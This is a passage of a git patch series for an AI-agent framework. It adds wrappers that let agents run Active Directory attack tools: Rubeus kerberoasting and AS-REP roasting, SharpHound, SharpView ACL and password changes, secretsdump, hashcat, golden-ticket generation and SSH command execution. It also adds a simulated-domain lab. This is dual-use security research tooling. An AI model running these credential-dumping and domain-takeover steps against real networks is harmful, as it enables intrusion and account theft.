Attempting to upload {powerview_script_filename} file to Mythic led to unknown error." +# logger.info(f"Uploaded {powerview_script_filename} to Mythic.") + +# pi_result = await self.powershell_import(filename=upload_result["filename"]) +# if "will now be imported in PowerShell commands" not in pi_result: +# return f"Error running [COMMAND] 'powershell_import': - {pi_result}." + +# if all([credential_user, credential_password, domain]): +# powerview_cmd = f"{command} -Credential (New-Object -TypeName 'System.Management.Automation.PSCredential' -ArgumentList '{domain}\\{credential_user}', (ConvertTo-SecureString -String '{credential_password}' -AsPlainText -Force))" + +# return await self.powerpick(command=powerview_cmd) diff --git a/dreadnode/agent/tools/mythic/rebeus.py b/dreadnode/agent/tools/mythic/rebeus.py new file mode 100644 index 00000000..c72990d6 --- /dev/null +++ b/dreadnode/agent/tools/mythic/rebeus.py @@ -0,0 +1,37 @@ +# @tool_method() +# async def rubeus_asreproast(self) -> str: +# """ +# Execute ASREP-Roast technique against current domain using the Rubeus tool. The technique extracts kerberos ticket-granting tickets for active directory users that dont require pre-authentication on the domain. If ticket-granting tickets can be obtained, they will be returned (in hash form) +# .""" +# return await self.execute( +# command="execute_assembly", args="Rubeus.exe asreproast /format:hashcat" +# ) + +# @tool_method() +# async def rubeus_kerberoast( +# self, +# cred_user: t.Annotated[ +# str, +# "principal domain user to execute the command under, formatted in fqdn format: 'domain\\user'", +# ], +# cred_password: t.Annotated[str, "principal domain user password"], +# user: t.Annotated[str | None, "specific domain user to target for kerberoasting"] = None, +# spn: t.Annotated[str | None, "specific SPN to target for kerberoasting"] = None, +# ) -> str: +# """ +# Kerberoast a user current domain using the Rubeus tool. The tool extracts kerberos ticket-granting tickets for active directory users that have service principal names (SPNs) set. To use 'rubeus_kerberoast' tool, you must have a username and password of existing user on the active directory domain. If ticket-granting tickets for the SPN accounts can be obtained, they will be returned (in a hash format). +# """ +# args = f"Rubeus.exe kerberoast /creduser:{cred_user} /credpassword:{cred_password} /format:hashcat" + +# if user is not None: +# args += f" /user:{user}" + +# if spn is not None: +# args += f" /spn:{spn}" + +# return await self.execute(command="execute_assembly", args=args) + +# @tool_method() +# async def seatbelt(self) -> str: +# """Performs a number of security oriented host-survey 'safety checks' relevant from both offensive and defensive security perspectives.""" +# return await self.execute(command="execute_assembly", args="Seatbelt.exe") diff --git a/dreadnode/agent/tools/mythic/sharphound.py b/dreadnode/agent/tools/mythic/sharphound.py new file mode 100644 index 00000000..a4493425 --- /dev/null +++ b/dreadnode/agent/tools/mythic/sharphound.py @@ -0,0 +1,63 @@ +# @tool_method() +# async def sharphound_and_download( +# self, +# domain: t.Annotated[str, "domain to enumerate."], +# ldap_username: t.Annotated[str | None, "LDAP username to use for Sharphound."] = None, +# ldap_password: t.Annotated[str | None, "LDAP username to use for Sharphound."] = None, +# local_filename: t.Annotated[str | None, "Filename"] = None, +# ) -> str | dict: +# """ +# Run sharphound on the target callback to collect Bloodhound data. Then download the +# Bloodhound results file to a local file. "local" being wherever the agent is running. +# """ + +# upload_result = await self.upload( +# filename=SCRIPTS_DIR / "SharpHound.ps1", +# reupload=False, +# ) +# if upload_result["file_id"] is None: +# return "Error running command 'sharphound_and_download'.\n\n Attempting to upload powershell script file to Mythic led to unknown error." +# logger.info("Uploaded SharpHound to Mythic.")) + +# pi_result = await self.powershell_import(filename=upload_result["filename"]) +# if "will now be imported in PowerShell commands" not in pi_result: +# return f"Error running 'sharphound_and_download': {pi_result}" + +# zip_filename_marker = f"{uuid4()!s}.zip" +# sharp_cmd = f"Invoke-BloodHound -Zipfilename {zip_filename_marker} -Domain {domain}" +# if all([ldap_username, ldap_username]): +# sharp_cmd += f" --ldapusername {ldap_username} --ldappassword {ldap_password}" + +# sharphound_result = await self.execute(command="powerpick " + sharp_cmd, timeout=120) + +# if "SharpHound Enumeration Completed" not in sharphound_result: +# return f"Error running 'sharphound_and_download'.\n\n Command response:\n{sharphound_result}" + +# sharp_results_fn = await self.powerpick( +# command=f"(Get-ChildItem -Path .\\ -Filter '*{zip_filename_marker}').name", +# fix_dependencies=True, +# ) + +# if zip_filename_marker not in sharp_results_fn: +# return f"Error running 'sharphound_and_download'.\n\n Command response:\n{sharp_results_fn}" + +# sharp_results_fn = sharp_results_fn.strip("\r\n").split("\r\n")[-1] + +# local_download_file = await self.execute(filepath=sharp_results_fn) + +# if not isinstance(local_download_file, dict): +# return f"Error running 'sharphound_and_download'.\n\n Command response:\n{local_download_file}" +# logger.info(f"Downloaded file to:{local_download_file['path']}")) + +# # 6. rename local file if supplied Command specified a specific filename to use +# if local_filename: +# Path.rename(local_download_file.path, local_filename) +# logger.info( +# +# f"Renamed filename from {local_download_file.path} to {local_filename}" +# ) +# ) +# local_download_file["path"] = str(Path(local_filename).resolve()) +# local_download_file["name"] = Path(local_download_file["path"]).name + +# return local_download_file diff --git a/dreadnode/agent/tools/mythic/sharpview.py b/dreadnode/agent/tools/mythic/sharpview.py new file mode 100644 index 00000000..5e665f9d --- /dev/null +++ b/dreadnode/agent/tools/mythic/sharpview.py @@ -0,0 +1,139 @@ +# @tool() +# async def sharpview( +# self, +# method: t.Annotated[str, "SharpView method to execute"], +# method_args: t.Annotated[str, "arguments for the selected SharpView method"], +# ) -> str: +# """ +# Used to gain network situational awareness on Windows domains. + +# Available methods to use for the tool: + +# Get-DomainGPOUserLocalGroupMapping +# Find-GPOLocation +# Get-DomainGPOComputerLocalGroupMapping +# Find-GPOComputerAdmin +# Get-DomainObjectAcl +# Get-ObjectAcl +# Add-DomainObjectAcl +# Add-ObjectAcl +# Remove-DomainObjectAcl +# Get-RegLoggedOn +# Get-LoggedOnLocal +# Get-NetRDPSession +# Test-AdminAccess +# Invoke-CheckLocalAdminAccess +# Get-WMIProcess +# Get-NetProcess +# Get-WMIRegProxy +# Get-Proxy +# Get-WMIRegLastLoggedOn +# Get-LastLoggedOn +# Get-WMIRegCachedRDPConnection +# Get-CachedRDPConnection +# Get-WMIRegMountedDrive +# Get-RegistryMountedDrive +# Find-InterestingDomainAcl +# Invoke-ACLScanner +# Get-NetShare +# Get-NetLoggedon +# Get-NetLocalGroup +# Get-NetLocalGroupMember +# Get-NetSession +# Get-PathAcl +# ConvertFrom-UACValue +# Get-PrincipalContext +# New-DomainGroup +# New-DomainUser +# Add-DomainGroupMember +# Set-DomainUserPassword +# Invoke-Kerberoast +# Export-PowerViewCSV +# Find-LocalAdminAccess +# Find-DomainLocalGroupMember +# Find-DomainShare +# Find-DomainUserEvent +# Find-DomainProcess +# Find-DomainUserLocation +# Find-InterestingFile +# Find-InterestingDomainShareFile +# Find-DomainObjectPropertyOutlier +# TestMethod +# Get-Domain +# Get-NetDomain +# Get-DomainComputer +# Get-NetComputer +# Get-DomainController +# Get-NetDomainController +# Get-DomainFileServer +# Get-NetFileServer +# Convert-ADName +# Get-DomainObject +# Get-ADObject +# Get-DomainUser +# Get-NetUser +# Get-DomainGroup +# Get-NetGroup +# Get-DomainDFSShare +# Get-DFSshare +# Get-DomainDNSRecord +# Get-DNSRecord +# Get-DomainDNSZone +# Get-DNSZone +# Get-DomainForeignGroupMember +# Find-ForeignGroup +# Get-DomainForeignUser +# Find-ForeignUser +# ConvertFrom-SID +# Convert-SidToName +# Get-DomainGroupMember +# Get-NetGroupMember +# Get-DomainManagedSecurityGroup +# Find-ManagedSecurityGroups +# Get-DomainOU +# Get-NetOU +# Get-DomainSID +# Get-Forest +# Get-NetForest +# Get-ForestTrust +# Get-NetForestTrust +# Get-DomainTrust +# Get-NetDomainTrust +# Get-ForestDomain +# Get-NetForestDomain +# Get-DomainSite +# Get-NetSite +# Get-DomainSubnet +# Get-NetSubnet +# Get-DomainTrustMapping +# Invoke-MapDomainTrust +# Get-ForestGlobalCatalog +# Get-NetForestCatalog +# Get-DomainUserEvent +# Get-UserEvent +# Get-DomainGUIDMap +# Get-GUIDMap +# Resolve-IPAddress +# Get-IPAddress +# ConvertTo-SID +# Invoke-UserImpersonation +# Invoke-RevertToSelf +# Get-DomainSPNTicket +# Request-SPNTicket +# Get-NetComputerSiteName +# Get-SiteName +# Get-DomainGPO +# Get-NetGPO +# Set-DomainObject +# Set-ADObject +# Add-RemoteConnection +# Remove-RemoteConnection +# Get-IniContent +# Get-GptTmpl +# Get-GroupsXML +# Get-DomainPolicyData +# Get-DomainPolicy +# Get-DomainGPOLocalGroup +# Get-NetGPOGroup +# """ +# return await self.powerpick(f"Invoke-SharpView -Method {method} -Arguments {method_args}") diff --git a/dreadnode/agent/tools/mythic/utils.py b/dreadnode/agent/tools/mythic/utils.py new file mode 100644 index 00000000..600c8131 --- /dev/null +++ b/dreadnode/agent/tools/mythic/utils.py @@ -0,0 +1,48 @@ +import tempfile +from pathlib import Path + +import aiofiles +from loguru import logger + + +async def write_tmp_file( + filename: str, text: str | None = None, raw_bytes: bytes | None = None +) -> str: + """ + Creates a file, also in a temporary directory, and writes supplied contents. + + Returns: absolute filepath + """ + if not any([raw_bytes, text]): + raise TypeError("File contents, as bytes or text must be supplied.") + + tmp_dir = tempfile.TemporaryDirectory(delete=False) + fullpath = Path(tmp_dir.name) / filename + + if raw_bytes: + async with aiofiles.open(fullpath, mode="wb") as fh: + await fh.write(raw_bytes) + elif text: + async with aiofiles.open(fullpath, mode="w") as fh: + await fh.write(text) + + return str(fullpath) + + +async def delete_local_file(filename: Path) -> None: + """delete a local file""" + try: + fp = Path.resolve(filename) + Path.unlink(fp) + except (FileNotFoundError, OSError) as e: + logger.warning(f"Error trying to delete file {filename}: {e}") + + +async def delete_local_file_and_dir(filename: Path) -> None: + """delete a local file and its parent directory""" + try: + fp = Path.resolve(filename) + Path.unlink(fp) + Path.rmdir(Path.parent(fp)) + except (FileNotFoundError, OSError) as e: + logger.warning(f"Error trying to delete file and directory {filename}: {e}") diff --git a/dreadnode/agent/tools/pentest/internal/tool.py b/dreadnode/agent/tools/pentest/internal/tool.py index 05bf6f9c..84987a14 100644 --- a/dreadnode/agent/tools/pentest/internal/tool.py +++ b/dreadnode/agent/tools/pentest/internal/tool.py @@ -1,14 +1,13 @@ import os import subprocess import tempfile -from pathlib import Path from loguru import logger from dreadnode.agent.tools import tool -@tool() +@tool def nmap_scan(target: str) -> str: """ Scans target IPs to classify them as Domain Controllers or Member Servers. @@ -44,7 +43,7 @@ def nmap_scan(target: str) -> str: return f"Scan failed: {e!s}" -@tool() +@tool def enumerate_users_netexec(target: str, username: str, password: str, domain: str) -> str: """ Enumerate users using netexec (crackmapexec successor). @@ -91,7 +90,7 @@ def enumerate_users_netexec(target: str, username: str, password: str, domain: s return result.stdout -@tool() +@tool def enumerate_shares_netexec( target: str, domain: str, username: str = "", password: str = "" ) -> str: @@ -140,7 +139,7 @@ def enumerate_shares_netexec( return result.stdout -@tool() +@tool def enumerate_share_files( target: str, share_name: str, @@ -188,7 +187,7 @@ def enumerate_share_files( return result.stdout -@tool() +@tool def download_file_content( target: str, share_name: str, file_path: str, username: str, password: str ) -> str: @@ -241,7 +240,7 @@ def download_file_content( return content -@tool() +@tool def secretsdump( target: str, username: str, @@ -311,7 +310,7 @@ def secretsdump( return result.stdout -@tool() +@tool def kerberoast( domain: str, username: str, @@ -343,16 +342,15 @@ def kerberoast( try: logger.info(f"[*] Kerberoasting {domain} using {username}:{password}") result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=60) # noqa: S603 - return result.stdout - except subprocess.TimeoutExpired: return "Error: timeout" - except Exception as e: - return f"Command failed: {e!s}" + return f"Command failed: {e}" + else: + return result.stdout -@tool() +@tool def asrep_roast( domain: str, username: str, @@ -397,19 +395,16 @@ def asrep_roast( try: logger.info(f"[*] AS-REP roasting {domain} using {username}:{password}") result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=60) # noqa: S603 - return result.stdout except subprocess.TimeoutExpired: return "Error: Command timed out after 60 seconds" except Exception as e: - return f"Command failed: {e!s}" - finally: - # Ensure temp file cleanup - if temp_userfile and Path.exists(temp_userfile): - Path.unlink(temp_userfile) + return f"Command failed: {e}" + else: + return result.stdout -@tool() +@tool def hashcat( hash_value: str, hashcat_mode: int = 13100, @@ -433,10 +428,9 @@ def hashcat( ... 1000, "/usr/share/wordlists/rockyou.txt") """ - try: - with tempfile.NamedTemporaryFile(mode="w", suffix=".hash", delete=False) as hash_file: - hash_file.write(hash_value) - hash_file_path = hash_file.name + with tempfile.NamedTemporaryFile(mode="w", suffix=".hash", delete=False) as hash_file: + hash_file.write(hash_value) + hash_file_path = hash_file.name try: cmd = [ @@ -478,16 +472,13 @@ def hashcat( output = "\nCracked passwords (--show):\n" + show_result.stdout logger.info(f"[*] Hashcat completed for {hash_value} result: {output}") - return output - - finally: - if Path.exists(hash_file_path): - Path.unlink(hash_file_path) - except subprocess.TimeoutExpired: - return "Error: Command timed out" - except Exception as e: - return f"Error: {e}" + except subprocess.TimeoutExpired: + return "Error: Command timed out" + except Exception as e: + return f"Error: {e}" + else: + return output @tool() @@ -585,14 +576,15 @@ def get_sid( logger.info(f"[*] SID output for {domain} is {result.stdout}") logger.info(f"[*] SID error for {domain} is {result.stderr}") - return result.stdout except subprocess.TimeoutExpired: return "Error: Command timed out" except Exception as e: return f"Error: {e!s}" + else: + return result.stdout -@tool() +@tool def generate_golden_ticket( krbtgt_hash: str, domain_sid: str, @@ -634,9 +626,9 @@ def generate_golden_ticket( logger.info("[*] Generating golden ticket for Administrator") logger.info(f"[*] Command: {cmd}") result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) # noqa: S603 - - return result.stdout except subprocess.TimeoutExpired: return "Error: Command timed out" except Exception as e: - return f"Error: {e!s}" + return f"Error: {e}" + else: + return result.stdout diff --git a/dreadnode/agent/tools/ssh/tool.py b/dreadnode/agent/tools/ssh/tool.py index d4a0cac0..3b2533d1 100644 --- a/dreadnode/agent/tools/ssh/tool.py +++ b/dreadnode/agent/tools/ssh/tool.py @@ -1,5 +1,5 @@ import shlex -from typing import Annotated +import typing as t import paramiko from pydantic import BaseModel, Field, PrivateAttr @@ -12,11 +12,11 @@ def _q(s: str) -> str: class SSHConn(BaseModel): - host: Annotated[str, "Remote host or IP"] - user: Annotated[str, "SSH username"] - password: Annotated[str | None, "SSH password (omit if using key)"] = None - key_path: Annotated[str | None, "Path to private key (PEM/OpenSSH)"] = None - port: Annotated[int, "SSH port"] = 22 + host: t.Annotated[str, "Remote host or IP"] + user: t.Annotated[str, "SSH username"] + password: t.Annotated[str | None, "SSH password (omit if using key)"] = None + key_path: t.Annotated[str | None, "Path to private key (PEM/OpenSSH)"] = None + port: t.Annotated[int, "SSH port"] = 22 @property def key(self) -> str: @@ -71,11 +71,11 @@ def _run( ) def configure( self, - profile: Annotated[str, "Profile name to save"], - conn: Annotated[SSHConn, "Connection settings to store"], + profile: t.Annotated[str, "Profile name to save"], + conn: t.Annotated[SSHConn, "Connection settings to store"], *, - make_default: Annotated[bool, "Also set as default profile?"] = True, - ) -> dict: + make_default: t.Annotated[bool, "Also set as default profile?"] = True, + ) -> dict[str, t.Any]: self.profiles[profile] = conn if make_default: self.default_profile = profile @@ -85,9 +85,9 @@ def configure( @tool_method(name="ssh.exec", description="Run a shell command via SSH.", catch=True) def exec( self, - command: Annotated[str, "Shell command to execute remotely"], - conn: Annotated[SSHConn | None, "Inline connection (optional)"] = None, - profile: Annotated[str | None, "Use a saved profile name (optional)"] = None, + command: t.Annotated[str, "Shell command to execute remotely"], + conn: t.Annotated[SSHConn | None, "Inline connection (optional)"] = None, + profile: t.Annotated[str | None, "Use a saved profile name (optional)"] = None, ) -> dict: c = self._resolve_conn(conn, profile) cli = self._client(c) diff --git a/dreadnode/convert.py b/dreadnode/convert.py index c1fca0cd..e5f94ae2 100644 --- a/dreadnode/convert.py +++ b/dreadnode/convert.py @@ -1,7 +1,7 @@ import typing as t if t.TYPE_CHECKING: - import networkx as nx # type: ignore [import-untyped] + import networkx as nx from dreadnode.tracing.span import RunSpan diff --git a/examples/agents/bbot/agent.py b/examples/agents/bbot/agent.py index a425d5ea..3e4c2fc3 100644 --- a/examples/agents/bbot/agent.py +++ b/examples/agents/bbot/agent.py @@ -1,9 +1,28 @@ +import asyncio + +from rich.console import Console + from dreadnode.agent.agent import Agent from dreadnode.agent.tools.bbot.tool import BBotTool +console = Console() + agent = Agent( name="bbot-agent", description="An agent that uses BBOT to perform various tasks.", model="gpt-4", tools=[BBotTool()], ) + + +async def main() -> None: + # Try creating with minimal arguments first + agent = await BBotTool.create() + agent.get_presets() + agent.get_modules() + console.print(f"BBOT Tool created with name: {agent.name}") + + +# Usage +if __name__ == "__main__": + asyncio.run(main()) diff --git a/examples/agents/dotnet/agent.py b/examples/agents/dotnet/agent.py index eecc13f4..ed0ddc0b 100644 --- a/examples/agents/dotnet/agent.py +++ b/examples/agents/dotnet/agent.py @@ -6,7 +6,8 @@ from rich.markdown import Markdown from rich.panel import Panel -from dreadnode.agent import Agent, AgentResult +from dreadnode.agent.agent import Agent +from dreadnode.agent.result import AgentResult from dreadnode.agent.tools.ilspy.tool import ILSpyTool console = Console() @@ -17,7 +18,7 @@ async def main() -> AgentResult: name="dotnet-reversing-agent", description="An agent that uses ILSpy to reverse engineer .NET binaries.", model="groq/moonshotai/kimi-k2-instruct", - tools=[ILSpyTool.from_path(path=Path(__file__).parent / "bin")], + tools=[ILSpyTool.from_path(path=str(Path(__file__).parent / "bin"))], instructions="""You are an expert dotnet reverse engineer with decades of experience. Your task is to analyze the provided static binaries and identify high impact vulnerabilities using the tools available to you. You care most about exploitable bugs from a remote perspective. It is okay to review the code multiple times, - DO NOT write fixes or suggestions. From e25f221d4a51a5dbf1acc4ea572ff9beaf306066 Mon Sep 17 00:00:00 2001 From: moohax <7361922+moohax@users.noreply.github.com> Date: Mon, 25 Aug 2025 11:20:36 -0600 Subject: [PATCH 20/60] skopeo --- dreadnode/agent/tools/__init__.py | 5 +++-- dreadnode/agent/tools/skopeo/tool.py | 2 +- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/dreadnode/agent/tools/__init__.py b/dreadnode/agent/tools/__init__.py index e9433759..fb69fbbf 100644 --- a/dreadnode/agent/tools/__init__.py +++ b/dreadnode/agent/tools/__init__.py @@ -1,11 +1,12 @@ from dreadnode.agent.tools.base import Tool, Toolset, tool, tool_method -from dreadnode.agent.tools.task.finish import mark_complete +from dreadnode.agent.tools.task.finish import complete_successfully, mark_as_failed from dreadnode.agent.tools.task.todo import update_todo __all__ = [ "Tool", "Toolset", - "mark_complete", + "complete_successfully", + "mark_as_failed", "tool", "tool_method", "update_todo", diff --git a/dreadnode/agent/tools/skopeo/tool.py b/dreadnode/agent/tools/skopeo/tool.py index 9f8cbfcc..805685db 100644 --- a/dreadnode/agent/tools/skopeo/tool.py +++ b/dreadnode/agent/tools/skopeo/tool.py @@ -25,7 +25,7 @@ class Skopeo(Toolset): def _run(self, cmd: str) -> subprocess.CompletedProcess: cmd_list = cmd.split() if isinstance(cmd, str) else cmd - return subprocess.run(cmd_list, shell=False, capture_output=True, check=False) # nosec + return subprocess.run(cmd_list, shell=False, capture_output=True, check=False) # noqa: S603 def _skopeo_json(self, args: str) -> dict[str, t.Any]: cp = self._run(f"skopeo {args}") From 37e0ddc808ef49eec9dcde69fe4c988cbd1b5f24 Mon Sep 17 00:00:00 2001 From: moohax <7361922+moohax@users.noreply.github.com> Date: Mon, 25 Aug 2025 19:20:14 -0600 Subject: [PATCH 21/60] new examples --- dreadnode/agent/tools/bloodhound/tool.py | 2 +- dreadnode/agent/tools/filesystem/tool.py | 2 +- dreadnode/agent/tools/skopeo/tool.py | 2 +- examples/agents/bbot/agent.py | 3 +- .../agents/{dotnet => bloodhound}/__init__.py | 0 examples/agents/bloodhound/ad/Dockerfile | 29 + .../agents/bloodhound/ad/docker-compose.yml | 102 +++ examples/agents/bloodhound/ad/generate.py | 855 ++++++++++++++++++ examples/agents/bloodhound/agent.py | 26 + examples/agents/filesystem/agent.py | 19 + examples/agents/ilspy/__init__.py | 0 examples/agents/{dotnet => ilspy}/agent.py | 0 .../{dotnet => ilspy}/bin/AddInUtil.exe | Bin .../{dotnet => ilspy}/bin/System.Addin.dll | Bin .../agents/{dotnet => ilspy}/bin/mscorlib.dll | Bin examples/agents/jupyter/agent.py | 19 + examples/agents/skopeo/agent.py | 24 + 17 files changed, 1078 insertions(+), 5 deletions(-) rename examples/agents/{dotnet => bloodhound}/__init__.py (100%) create mode 100644 examples/agents/bloodhound/ad/Dockerfile create mode 100644 examples/agents/bloodhound/ad/docker-compose.yml create mode 100644 examples/agents/bloodhound/ad/generate.py create mode 100644 examples/agents/bloodhound/agent.py create mode 100644 examples/agents/filesystem/agent.py create mode 100644 examples/agents/ilspy/__init__.py rename examples/agents/{dotnet => ilspy}/agent.py (100%) rename examples/agents/{dotnet => ilspy}/bin/AddInUtil.exe (100%) rename examples/agents/{dotnet => ilspy}/bin/System.Addin.dll (100%) rename examples/agents/{dotnet => ilspy}/bin/mscorlib.dll (100%) create mode 100644 examples/agents/jupyter/agent.py create mode 100644 examples/agents/skopeo/agent.py diff --git a/dreadnode/agent/tools/bloodhound/tool.py b/dreadnode/agent/tools/bloodhound/tool.py index 46891b06..243b8b89 100644 --- a/dreadnode/agent/tools/bloodhound/tool.py +++ b/dreadnode/agent/tools/bloodhound/tool.py @@ -19,7 +19,7 @@ console = Console() -class Bloodhound(Toolset): +class BloodhoundTool(Toolset): """Agent Tool API for BloodHound Server""" def __init__( diff --git a/dreadnode/agent/tools/filesystem/tool.py b/dreadnode/agent/tools/filesystem/tool.py index 0308ac4b..806e102a 100644 --- a/dreadnode/agent/tools/filesystem/tool.py +++ b/dreadnode/agent/tools/filesystem/tool.py @@ -68,7 +68,7 @@ class GrepMatch: @dataclass -class FilesystemTools(Toolset): +class FilesystemTool(Toolset): path: UPath mode: FilesystemMode = "read-only" diff --git a/dreadnode/agent/tools/skopeo/tool.py b/dreadnode/agent/tools/skopeo/tool.py index 805685db..430dd1a1 100644 --- a/dreadnode/agent/tools/skopeo/tool.py +++ b/dreadnode/agent/tools/skopeo/tool.py @@ -11,7 +11,7 @@ from dreadnode.agent.tools.base import Toolset, tool_method -class Skopeo(Toolset): +class SkopeoTool(Toolset): """ Tools for inspecting Microsoft Container Registry images via skopeo + httpx. """ diff --git a/examples/agents/bbot/agent.py b/examples/agents/bbot/agent.py index 3e4c2fc3..6c3be3d9 100644 --- a/examples/agents/bbot/agent.py +++ b/examples/agents/bbot/agent.py @@ -7,16 +7,15 @@ console = Console() + agent = Agent( name="bbot-agent", description="An agent that uses BBOT to perform various tasks.", model="gpt-4", - tools=[BBotTool()], ) async def main() -> None: - # Try creating with minimal arguments first agent = await BBotTool.create() agent.get_presets() agent.get_modules() diff --git a/examples/agents/dotnet/__init__.py b/examples/agents/bloodhound/__init__.py similarity index 100% rename from examples/agents/dotnet/__init__.py rename to examples/agents/bloodhound/__init__.py diff --git a/examples/agents/bloodhound/ad/Dockerfile b/examples/agents/bloodhound/ad/Dockerfile new file mode 100644 index 00000000..0a7102f7 --- /dev/null +++ b/examples/agents/bloodhound/ad/Dockerfile @@ -0,0 +1,29 @@ +FROM python:3.10-slim + + +# Update package lists and install git +RUN apt-get update && \ + apt-get install -y git + +RUN useradd -m adsim +USER adsim +# Set the HOME environment variable to the non-root user's home directory +ENV HOME /home/adsim + +RUN mkdir -p $HOME/.adsimulator && \ + git clone https://github.com/nicolas-carolo/adsimulator.git $HOME/.adsimulator/adsimulator + +RUN cp -r $HOME/.adsimulator/adsimulator/data $HOME/.adsimulator +RUN ls -la && echo "Listing complete" + +RUN pip install -r $HOME/.adsimulator/adsimulator/requirements.txt --user + +WORKDIR $HOME/.adsimulator/adsimulator +RUN python setup.py install --user + +RUN pip install neo4j +RUN pip install fire + +COPY generate.py . + +# CMD ["python", "generate.py"] \ No newline at end of file diff --git a/examples/agents/bloodhound/ad/docker-compose.yml b/examples/agents/bloodhound/ad/docker-compose.yml new file mode 100644 index 00000000..c8aa4ce3 --- /dev/null +++ b/examples/agents/bloodhound/ad/docker-compose.yml @@ -0,0 +1,102 @@ +# Copyright 2023 Specter Ops, Inc. +# +# Licensed under the Apache License, Version 2.0 +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 + +version: '3' +services: + app-db: + image: docker.io/library/postgres:13.2 + environment: + - POSTGRES_USER=${POSTGRES_USER:-bloodhound} + - POSTGRES_PASSWORD=${POSTGRES_PASSWORD:-bloodhoundcommunityedition} + - POSTGRES_DB=${POSTGRES_DB:-bloodhound} + # Database ports are disabled by default. Please change your database password to something secure before uncommenting + # ports: + # - 127.0.0.1:${POSTGRES_PORT:-5432}:5432 + volumes: + - postgres-data:/var/lib/postgresql/data + healthcheck: + test: + [ + "CMD-SHELL", + "pg_isready -U ${POSTGRES_USER:-bloodhound} -d ${POSTGRES_DB:-bloodhound} -h 127.0.0.1 -p ${POSTGRES_PORT:-5432}" + ] + interval: 10s + timeout: 5s + retries: 5 + start_period: 30s + + graph-db: + image: docker.io/library/neo4j:4.4 + environment: + - NEO4J_AUTH=${NEO4J_USER:-neo4j}/${NEO4J_SECRET:-bloodhoundcommunityedition} + - NEO4J_dbms_allow__upgrade=${NEO4J_ALLOW_UPGRADE:-true} + # Database ports are disabled by default. Please change your database password to something secure before uncommenting + ports: + # - 127.0.0.1:${NEO4J_DB_PORT:-7687}:7687 + # - 127.0.0.1:${NEO4J_WEB_PORT:-7474}:7474 + - ${NEO4J_DB_PORT:-7687}:7687 + - ${NEO4J_WEB_PORT:-7474}:7474 + volumes: + - ${NEO4J_DATA_MOUNT:-neo4j-data}:/data + healthcheck: + test: + [ + "CMD-SHELL", + "wget -O /dev/null -q http://localhost:${NEO4J_WEB_PORT:-7474} || exit 1" + ] + interval: 10s + timeout: 5s + retries: 5 + start_period: 30s + + bloodhound: + image: docker.io/specterops/bloodhound:${BLOODHOUND_TAG:-latest} + environment: + - bhe_disable_cypher_qc=${bhe_disable_cypher_qc:-false} + - bhe_database_connection=user=${POSTGRES_USER:-bloodhound} password=${POSTGRES_PASSWORD:-bloodhoundcommunityedition} dbname=${POSTGRES_DB:-bloodhound} host=app-db + - bhe_neo4j_connection=neo4j://${NEO4J_USER:-neo4j}:${NEO4J_SECRET:-bloodhoundcommunityedition}@graph-db:7687/ + ### Add additional environment variables you wish to use here. + ### For common configuration options that you might want to use environment variables for, see `.env.example` + ### example: bhe_database_connection=${bhe_database_connection} + ### The left side is the environment variable you're setting for bloodhound, the variable on the right in `${}` + ### is the variable available outside of Docker + ports: + ### Default to localhost to prevent accidental publishing of the service to your outer networks + ### These can be modified by your .env file or by setting the environment variables in your Docker host OS + - ${BLOODHOUND_HOST:-127.0.0.1}:${BLOODHOUND_PORT:-8080}:8080 + ### Uncomment to use your own bloodhound.config.json to configure the application + # volumes: + # - ./bloodhound.config.json:/bloodhound.config.json:ro + depends_on: + app-db: + condition: service_healthy + graph-db: + condition: service_healthy + + generator: + build: + context: . + dockerfile: Dockerfile + command: > + python generate.py --url "bolt://graph-db:7687" --username "${NEO4J_USER:-neo4j}" --password "${NEO4J_SECRET:-bloodhoundcommunityedition}" --domain "SKY.NET" + depends_on: + app-db: + condition: service_healthy + graph-db: + condition: service_healthy +volumes: + neo4j-data: + postgres-data: \ No newline at end of file diff --git a/examples/agents/bloodhound/ad/generate.py b/examples/agents/bloodhound/ad/generate.py new file mode 100644 index 00000000..2682857a --- /dev/null +++ b/examples/agents/bloodhound/ad/generate.py @@ -0,0 +1,855 @@ +#!/usr/bin/env python +# Requirements - pip install neo4j-driver +# This script is used to create randomized sample databases. +# Commands +# dbconfig - Set the credentials and URL for the database you're connecting too +# connect - Connects to the database using supplied credentials +# setparams - Set the settings JSON file +# setdomain - Set the domain name +# cleardb - Clears the database and sets the schema properly +# generate - Connects to the database, clears the DB, sets the schema, and generates random data + +# import cmd +import math +import random +import time +import uuid + +import fire +from adsimulator.generators.acls import ( + generate_administrators_acls, + generate_all_extended_rights, + generate_default_dc_groups_acls, + generate_default_groups_acls, + generate_default_users_acls, + generate_domain_admins_acls, + generate_enterprise_admins_acls, + generate_generic_all, + generate_generic_write, + generate_local_admin_rights, + generate_outbound_acls, + generate_owns, + generate_write_dacl, + generate_write_owner, +) +from adsimulator.generators.computers import ( + generate_allowed_to_delegate_relationships_on_computers, + generate_allowed_to_delegate_relationships_on_it_users, + generate_can_ps_remote_relationships_on_it_groups, + generate_can_ps_remote_relationships_on_it_users, + generate_can_rdp_relationships_on_it_groups, + generate_can_rdp_relationships_on_it_users, + generate_computers, + generate_dcom_relationships_on_it_groups, + generate_dcom_relationships_on_it_users, + generate_dcs, + generate_default_admin_to, + generate_sessions, +) +from adsimulator.generators.domains import generate_domain, generate_trusts +from adsimulator.generators.gpos import ( + generate_default_gpos, + generate_gpos, + gplink_domain_to_ous, + link_default_gpos, + link_gpos_to_ous, +) +from adsimulator.generators.groups import ( + assign_users_to_group, + generate_default_groups, + generate_default_member_of, + generate_domain_administrators, + generate_groups, + nest_groups, +) +from adsimulator.generators.ous import ( + generate_computer_ous, + generate_domain_controllers_ou, + generate_user_ous, + link_ous_to_domain, +) +from adsimulator.generators.users import ( + generate_administrator, + generate_default_account, + generate_guest_user, + generate_krbtgt_user, + generate_users, + link_default_users_to_domain, +) +from adsimulator.templates.default_values import DEFAULT_VALUES +from adsimulator.utils.data import ( + get_domains_pool, + get_names_pool, + get_parameters_from_json, + get_surnames_pool, +) +from adsimulator.utils.domains import get_domain_dn +from 